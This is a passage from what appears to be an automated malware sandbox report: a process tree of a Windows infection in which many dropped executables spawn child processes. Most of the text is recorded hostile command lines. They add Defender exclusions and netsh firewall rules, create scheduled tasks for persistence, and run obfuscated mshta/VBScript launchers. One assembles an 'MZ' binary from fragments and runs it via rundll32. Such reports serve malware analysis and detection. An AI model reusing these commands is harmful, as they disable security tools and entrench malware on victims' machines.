        "C:\Users\Admin\AppData\Local\Temp\e31f8f50-4b2e-45b5-8ebf-82cd3710d9ae\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\e31f8f50-4b2e-45b5-8ebf-82cd3710d9ae\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
        5⤵
        
        PID:7816
      - C:\Users\Admin\AppData\Local\Temp\e31f8f50-4b2e-45b5-8ebf-82cd3710d9ae\AdvancedRun.exe
        
        "C:\Users\Admin\AppData\Local\Temp\e31f8f50-4b2e-45b5-8ebf-82cd3710d9ae\AdvancedRun.exe" /SpecialRun 4101d8 7816
        6⤵
        
        PID:7524
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force
        5⤵
        
        PID:3964
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force
        5⤵
        
        PID:2532
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force
        5⤵
        
        PID:7068
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force
        5⤵
        
        PID:8056
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force
        5⤵
        Executes dropped EXE
        
        PID:4908
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force
        5⤵
        
        PID:7844
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
        5⤵
        
        PID:2544
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        5⤵
        
        PID:8428
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\XfUGHJGj5rWE0ozUme5gWt4O.exe" -Force
      4⤵
      PID:6436
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force
      4⤵
      PID:6240
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force
      4⤵
      PID:6908
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\XfUGHJGj5rWE0ozUme5gWt4O.exe" -Force
      4⤵
      PID:7116
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force
      4⤵
      PID:5272
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe"
      4⤵
      PID:7616
- - C:\Users\Admin\Pictures\Adobe Films\i_L0A7LldAXrsKpzFi5txJoI.exe
    "C:\Users\Admin\Pictures\Adobe Films\i_L0A7LldAXrsKpzFi5txJoI.exe"
    3⤵
    - Executes dropped EXE
    - Checks BIOS information in registry
    - Checks whether UAC is enabled
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    PID:3328
- - C:\Users\Admin\Pictures\Adobe Films\cdw3osWat18CVPUn7rFB_Pj9.exe
    "C:\Users\Admin\Pictures\Adobe Films\cdw3osWat18CVPUn7rFB_Pj9.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:3036
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c taskkill /f /im chrome.exe
      4⤵
      PID:7388
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im chrome.exe
        5⤵
        Kills process with taskkill
        
        PID:8836
- - C:\Users\Admin\Pictures\Adobe Films\PWokcJndamMPSc5Glm9GSVbb.exe
    "C:\Users\Admin\Pictures\Adobe Films\PWokcJndamMPSc5Glm9GSVbb.exe"
    3⤵
    - Executes dropped EXE
    PID:2968
- - C:\Users\Admin\Pictures\Adobe Films\YyH9SXCqivTrzrPqI3uYJQMd.exe
    "C:\Users\Admin\Pictures\Adobe Films\YyH9SXCqivTrzrPqI3uYJQMd.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in Program Files directory
    PID:4092
  - - C:\Users\Admin\Documents\owY_g7gf7wrPiXIfc88VlEqk.exe
      "C:\Users\Admin\Documents\owY_g7gf7wrPiXIfc88VlEqk.exe"
      4⤵
      PID:7812
    - - C:\Users\Admin\Pictures\Adobe Films\KL1Sx3zXL9dnl28s_DQkjbNj.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\KL1Sx3zXL9dnl28s_DQkjbNj.exe"
        5⤵
        
        PID:5164
    - - C:\Users\Admin\Pictures\Adobe Films\CeBYnvzipyGi9VupnEIWHAbX.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\CeBYnvzipyGi9VupnEIWHAbX.exe"
        5⤵
        
        PID:9008
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "CeBYnvzipyGi9VupnEIWHAbX.exe" /f & erase "C:\Users\Admin\Pictures\Adobe Films\CeBYnvzipyGi9VupnEIWHAbX.exe" & exit
        6⤵
        
        PID:9104
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "CeBYnvzipyGi9VupnEIWHAbX.exe" /f
        7⤵
        Kills process with taskkill
        
        PID:5140
    - - C:\Users\Admin\Pictures\Adobe Films\ejydHrY4wIQ47KBH15LRNvQg.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\ejydHrY4wIQ47KBH15LRNvQg.exe"
        5⤵
        
        PID:4620
    - - C:\Users\Admin\Pictures\Adobe Films\EYknBp1ulqVoJD36nUNXUOxq.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\EYknBp1ulqVoJD36nUNXUOxq.exe"
        5⤵
        
        PID:2360
    - - C:\Users\Admin\Pictures\Adobe Films\XEtFW6y9YZZi1S7OT_rg9zA7.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\XEtFW6y9YZZi1S7OT_rg9zA7.exe"
        5⤵
        
        PID:9124
      - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\XEtFW6y9YZZi1S7OT_rg9zA7.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\Pictures\Adobe Films\XEtFW6y9YZZi1S7OT_rg9zA7.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:4624
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\XEtFW6y9YZZi1S7OT_rg9zA7.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\Pictures\Adobe Films\XEtFW6y9YZZi1S7OT_rg9zA7.exe" ) do taskkill -f -iM "%~NxM"
        7⤵
        
        PID:4792
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -f -iM "XEtFW6y9YZZi1S7OT_rg9zA7.exe"
        8⤵
        Kills process with taskkill
        
        PID:7972
    - - C:\Users\Admin\Pictures\Adobe Films\TTp54AqS3Xeuh140DQWkoEDm.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\TTp54AqS3Xeuh140DQWkoEDm.exe"
        5⤵
        
        PID:7872
      - C:\Users\Admin\AppData\Roaming\Calculator\setup.exe
        
        C:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=1
        6⤵
        
        PID:3456
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--bo6y9QQgnM"
        7⤵
        
        PID:8876
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x1ec,0x1f0,0x1f4,0x1b4,0x1f8,0x7ffbfd07dec0,0x7ffbfd07ded0,0x7ffbfd07dee0
        8⤵
        
        PID:9448
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ff6bf1f9e70,0x7ff6bf1f9e80,0x7ff6bf1f9e90
        9⤵
        
        PID:9772
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1656,4159062920383515488,13865095438280234276,131072 --lang=de --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8876_1082268702" --mojo-platform-channel-handle=1672 /prefetch:8
        8⤵
        
        PID:6980
    - - C:\Users\Admin\Pictures\Adobe Films\7jBCszsahJM8XJ50JwHaOcRd.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\7jBCszsahJM8XJ50JwHaOcRd.exe"
        5⤵
        
        PID:8472
      - C:\Users\Admin\AppData\Local\Temp\is-J72BE.tmp\7jBCszsahJM8XJ50JwHaOcRd.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-J72BE.tmp\7jBCszsahJM8XJ50JwHaOcRd.tmp" /SL5="$105B6,506127,422400,C:\Users\Admin\Pictures\Adobe Films\7jBCszsahJM8XJ50JwHaOcRd.exe"
        6⤵
        Executes dropped EXE
        
        PID:5136
        
        C:\Users\Admin\AppData\Local\Temp\is-NCTT6.tmp\DYbALA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-NCTT6.tmp\DYbALA.exe" /S /UID=2709
        7⤵
        
        PID:6592
        
        C:\Users\Admin\AppData\Local\Temp\02-6d479-efd-d60ae-44e8f7f89a29d\Kunupyzhylo.exe
        
        "C:\Users\Admin\AppData\Local\Temp\02-6d479-efd-d60ae-44e8f7f89a29d\Kunupyzhylo.exe"
        8⤵
        
        PID:5460
        
        C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exe
        
        dw20.exe -x -s 2252
        9⤵
        
        PID:9328
        
        C:\Users\Admin\AppData\Local\Temp\8c-af29a-a38-d6a8f-9e7af29f56b3e\Jaguxaebipae.exe
        
        "C:\Users\Admin\AppData\Local\Temp\8c-af29a-a38-d6a8f-9e7af29f56b3e\Jaguxaebipae.exe"
        8⤵
        
        PID:4476
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\yuv25l05.0gc\GcleanerEU.exe /eufive & exit
        9⤵
        
        PID:7920
        
        C:\Users\Admin\AppData\Local\Temp\yuv25l05.0gc\GcleanerEU.exe
        
        C:\Users\Admin\AppData\Local\Temp\yuv25l05.0gc\GcleanerEU.exe /eufive
        10⤵
        
        PID:1764
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\q2u0qf2z.blo\installer.exe /qn CAMPAIGN="654" & exit
        9⤵
        
        PID:7312
        
        C:\Users\Admin\AppData\Local\Temp\q2u0qf2z.blo\installer.exe
        
        C:\Users\Admin\AppData\Local\Temp\q2u0qf2z.blo\installer.exe /qn CAMPAIGN="654"
        10⤵
        
        PID:8740
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\qb3dtuwb.zbo\any.exe & exit
        9⤵
        
        PID:5340
        
        C:\Users\Admin\AppData\Local\Temp\qb3dtuwb.zbo\any.exe
        
        C:\Users\Admin\AppData\Local\Temp\qb3dtuwb.zbo\any.exe
        10⤵
        
        PID:8876
        
        C:\Users\Admin\AppData\Local\Temp\qb3dtuwb.zbo\any.exe
        
        "C:\Users\Admin\AppData\Local\Temp\qb3dtuwb.zbo\any.exe" -u
        11⤵
        
        PID:9136
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\2tjcwk15.fql\gcleaner.exe /mixfive & exit
        9⤵
        
        PID:2908
        
        C:\Users\Admin\AppData\Local\Temp\2tjcwk15.fql\gcleaner.exe
        
        C:\Users\Admin\AppData\Local\Temp\2tjcwk15.fql\gcleaner.exe /mixfive
        10⤵
        
        PID:7828
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\n3y23sgf.gyd\autosubplayer.exe /S & exit
        9⤵
        
        PID:668
        
        C:\Program Files\Common Files\PELOFRMUMU\foldershare.exe
        
        "C:\Program Files\Common Files\PELOFRMUMU\foldershare.exe" /VERYSILENT
        8⤵
        
        PID:5156
    - - C:\Users\Admin\Pictures\Adobe Films\pg3sBy27n_S5EnZhSjwDf610.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\pg3sBy27n_S5EnZhSjwDf610.exe"
        5⤵
        
        PID:6680
    - - C:\Users\Admin\Pictures\Adobe Films\m0tw7D4K3Xt_699FZlGGvvZM.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\m0tw7D4K3Xt_699FZlGGvvZM.exe"
        5⤵
        
        PID:420
      - C:\Users\Admin\Pictures\Adobe Films\m0tw7D4K3Xt_699FZlGGvvZM.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\m0tw7D4K3Xt_699FZlGGvvZM.exe" -u
        6⤵
        
        PID:5656
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:7932
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:4160
- - C:\Users\Admin\Pictures\Adobe Films\CmP8WQcQIe09qWeNkvEOhtAh.exe
    "C:\Users\Admin\Pictures\Adobe Films\CmP8WQcQIe09qWeNkvEOhtAh.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:2756
- - C:\Users\Admin\Pictures\Adobe Films\L6I6NKG1SWCIDwWSCHB1rBJU.exe
    "C:\Users\Admin\Pictures\Adobe Films\L6I6NKG1SWCIDwWSCHB1rBJU.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    PID:4024
  - - C:\Users\Admin\Pictures\Adobe Films\L6I6NKG1SWCIDwWSCHB1rBJU.exe
      "C:\Users\Admin\Pictures\Adobe Films\L6I6NKG1SWCIDwWSCHB1rBJU.exe"
      4⤵
      Executes dropped EXE
      PID:4300
- - C:\Users\Admin\Pictures\Adobe Films\mbSorhGxB1pNBjghFG36e2Ru.exe
    "C:\Users\Admin\Pictures\Adobe Films\mbSorhGxB1pNBjghFG36e2Ru.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    PID:3224
- - C:\Users\Admin\Pictures\Adobe Films\B6Bw0roWFP55xUoOvHs45zOz.exe
    "C:\Users\Admin\Pictures\Adobe Films\B6Bw0roWFP55xUoOvHs45zOz.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in Program Files directory
    PID:3116
  - - C:\Program Files (x86)\Company\NewProduct\cutm3.exe
      "C:\Program Files (x86)\Company\NewProduct\cutm3.exe"
      4⤵
      Executes dropped EXE
      PID:4896
- - C:\Users\Admin\Pictures\Adobe Films\XLxRmbPcDQ4F7J32lIdFDeny.exe
    "C:\Users\Admin\Pictures\Adobe Films\XLxRmbPcDQ4F7J32lIdFDeny.exe"
    3⤵
    - Executes dropped EXE
    PID:3188
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c taskkill /im "XLxRmbPcDQ4F7J32lIdFDeny.exe" /f & erase "C:\Users\Admin\Pictures\Adobe Films\XLxRmbPcDQ4F7J32lIdFDeny.exe" & exit
      4⤵
      PID:5756
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "XLxRmbPcDQ4F7J32lIdFDeny.exe" /f
        5⤵
        Kills process with taskkill
        
        PID:4384
- - C:\Users\Admin\Pictures\Adobe Films\ofHj9XDxpCLOcd4Ya1bSIs3C.exe
    "C:\Users\Admin\Pictures\Adobe Films\ofHj9XDxpCLOcd4Ya1bSIs3C.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    PID:2684
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \
      4⤵
      PID:5804
  - - C:\Windows\System32\netsh.exe
      "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes
      4⤵
      PID:5944
  - - C:\Windows\System32\netsh.exe
      "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes
      4⤵
      PID:808
  - - C:\Windows\System\svchost.exe
      "C:\Windows\System\svchost.exe" formal
      4⤵
      PID:5592
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
        5⤵
        
        PID:6276
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \
        5⤵
        
        PID:6344
    - - C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes
        5⤵
        
        PID:6524
    - - C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes
        5⤵
        
        PID:6444
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /create /sc minute /ED "11/02/2024" /mo 7 /tn "Timer" /tr c:\windows\system\svchost.exe /ru SYSTEM
      4⤵
      Creates scheduled task(s)
      PID:1892
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
      4⤵
      PID:4356
- - C:\Users\Admin\Pictures\Adobe Films\0u2xG04QKCAjjQdTQBYBGzVU.exe
    "C:\Users\Admin\Pictures\Adobe Films\0u2xG04QKCAjjQdTQBYBGzVU.exe"
    3⤵
    - Executes dropped EXE
    PID:2212
  - - C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe
      "C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:4048
    - - C:\Users\Admin\AppData\Local\803309.exe
        
        "C:\Users\Admin\AppData\Local\803309.exe"
        5⤵
        
        PID:5240
    - - C:\Users\Admin\AppData\Local\784388.exe
        
        "C:\Users\Admin\AppData\Local\784388.exe"
        5⤵
        
        PID:4148
    - - C:\Users\Admin\AppData\Local\539665.exe
        
        "C:\Users\Admin\AppData\Local\539665.exe"
        5⤵
        
        PID:4276
      - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL"). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Local\539665.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF """" == """" for %Z iN ( ""C:\Users\Admin\AppData\Local\539665.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ))
        6⤵
        
        PID:7980
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Local\539665.exe" ..\RxAPuFNW.exe &&sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "" == "" for %Z iN ( "C:\Users\Admin\AppData\Local\539665.exe" ) do taskkill -f -Im "%~NXZ"
        7⤵
        
        PID:6016
        
        C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe
        
        ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i
        8⤵
        
        PID:8588
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL"). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF ""-P1jBMdKQQ16j1dp4oT~i "" == """" for %Z iN ( ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ))
        9⤵
        
        PID:8908
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ..\RxAPuFNW.exe &&sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "-P1jBMdKQQ16j1dp4oT~i " == "" for %Z iN ( "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ) do taskkill -f -Im "%~NXZ"
        10⤵
        
        PID:9164
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VBSCRipT: CLOse ( createoBJECt ( "wScRIpt.shelL" ).RUn ("cMd /C EChO | SEt /p = ""MZ"" > CPkPI.i & CopY /b /Y CPkpI.I+ sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K & Del /Q * " , 0 ,tRue ) )
        9⤵
        
        PID:6568
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C EChO | SEt /p = "MZ" > CPkPI.i &CopY /b /Y CPkpI.I+ sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K &Del /Q *
        10⤵
        
        PID:6840
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" EChO "
        11⤵
        
        PID:6216
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" SEt /p = "MZ" 1>CPkPI.i"
        11⤵
        
        PID:4620
        
        C:\Windows\SysWOW64\control.exe
        
        control ..\WfNRfms4.K
        11⤵
        
        PID:7404
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL ..\WfNRfms4.K
        12⤵
        
        PID:2452
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -f -Im "539665.exe"
        8⤵
        Kills process with taskkill
        
        PID:8792
    - - C:\Users\Admin\AppData\Local\8059423.exe
        
        "C:\Users\Admin\AppData\Local\8059423.exe"
        5⤵
        
        PID:7228
      - C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
        
        "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
        6⤵
        
        PID:8124
    - - C:\Users\Admin\AppData\Local\137866.exe
        
        "C:\Users\Admin\AppData\Local\137866.exe"
        5⤵
        
        PID:7512
  - - C:\Users\Admin\AppData\Local\Temp\WW1Soft.exe
      "C:\Users\Admin\AppData\Local\Temp\WW1Soft.exe"
      4⤵
      Executes dropped EXE
      PID:4236
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4236 -s 1540
        5⤵
        Program crash
        
        PID:8068
  - - C:\Users\Admin\AppData\Local\Temp\liuchang-game.exe
      "C:\Users\Admin\AppData\Local\Temp\liuchang-game.exe"
      4⤵
      Executes dropped EXE
      PID:4476
  - - C:\Users\Admin\AppData\Local\Temp\askinstall25.exe
      "C:\Users\Admin\AppData\Local\Temp\askinstall25.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:5100
  - - C:\Users\Admin\AppData\Local\Temp\inst1.exe
      "C:\Users\Admin\AppData\Local\Temp\inst1.exe"
      4⤵
      Executes dropped EXE
      PID:4740
  - - C:\Users\Admin\AppData\Local\Temp\setup.exe
      "C:\Users\Admin\AppData\Local\Temp\setup.exe"
      4⤵
      Executes dropped EXE
      PID:4204
  - - C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe
      "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"
      4⤵
      Executes dropped EXE
      PID:4836
    - - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )
        5⤵
        
        PID:5604
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ) do taskkill -f -iM "%~NxM"
        6⤵
        
        PID:2700
        
        C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe
        
        ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi
        7⤵
        
        PID:6476
        
        C:\Windows\SysWOW64\mshta.exe
        
